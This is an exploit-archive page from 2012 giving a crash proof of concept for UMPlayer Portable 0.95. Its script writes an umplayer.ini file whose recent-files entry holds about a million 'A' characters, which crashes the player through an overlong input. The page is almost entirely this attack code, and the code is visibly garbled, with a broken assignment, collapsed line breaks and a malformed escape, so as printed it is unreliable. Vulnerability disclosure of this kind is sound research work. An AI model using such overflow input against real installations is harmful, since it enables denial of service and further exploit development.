Home / exploits UMPlayer Portable 0.95 Proof Of Concept
Posted on 30 November 2012
# Exploit Title: UMPlayer (Portable Edition) # Date: 2012-11-28 # Exploit Author: p3kok # Vendor Homepage: http://www.umplayer.com/ # Software Link: http://sourceforge.net/projects/umplayer/ or http://www.umplayer.com/download/ # Version: 0.95(Portable Edition) Compiled 4.7.0 # Tested on: xp sp 2 ###### Crash POC ###### # Aplication Crashed when mouse over on "Recent files" submenu under "Open" menu # 1. Generate umplayer.ini file with this code # 2. Put umplayer.ini file in UMPlayerPortable directory # 2. Open UMPlayer.exe # 3. From "Open" menu, Clik "Recent files" and got the crash file =("[%General]" + " " "mplayer_bin=mplayer/mplayer.exe" + " " "driver\vo="directx,"" + " " "driver\ao=dsound" + " " "use_screenshot=true" + " " "screenshot_directory=./screenshots" + " " "recordings_directory=./recordings" + " " "dont_remember_media_settings=false" + " " "dont_remember_time_pos=false" + " " "audio_lang=" + " " "subtitle_lang=" + " " "use_direct_rendering=false" + " " "use_double_buffer=true" + " " "use_soft_video_eq=false" + " " "use_slices=false" + " " "autoq=6" + " " "add_blackborders_on_fullscreen=false" + " " "turn_screensaver_off=false" + " " "avoid_screensaver=true" + " " "use_soft_vol=true" + " " "softvol_max=110" + " " "use_scaletempo=-1" + " " "use_hwac3=false" + " " "use_audio_equalizer=true" + " " "global_volume=true" + " " "volume=50" + " " "mute=false" + " " "autosync=false" + " " "autosync_factor=100" + " " "use_mc=false" + " " "mc_value=0" + " " "loop=false" + " " "osd=0" + " " "file_settings_method=hash" + " " "font_cache=false" + " " "playCount=11" + " " + " " ) junk = "x41" * 1000000 file+="[history]" + " " file+="recents=" + junk out_file = open("umplayer.ini",'w') out_file.write(file) out_file.close()
